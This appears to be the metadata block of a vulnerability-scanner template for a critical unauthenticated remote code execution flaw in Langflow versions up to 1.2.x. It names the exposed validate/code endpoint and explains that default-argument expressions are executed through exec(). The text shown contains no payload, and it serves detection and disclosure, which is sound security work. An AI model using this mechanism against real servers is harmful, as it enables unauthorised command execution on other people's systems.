Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code

id: CVE-2026-0768

info:
  name: Langflow <=1.2.x - Unauthenticated Remote Code Execution via validate_code
  author: DhiyaneshDk
  severity: critical
  description: |
    Langflow <= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.
  impact: |
    An unauthenticated attacker can execute arbitrary OS commands on the server running Langflow.
  remediation: |
    Upgrade Langflow to a version that requires authentication on the validate/code endpoint.
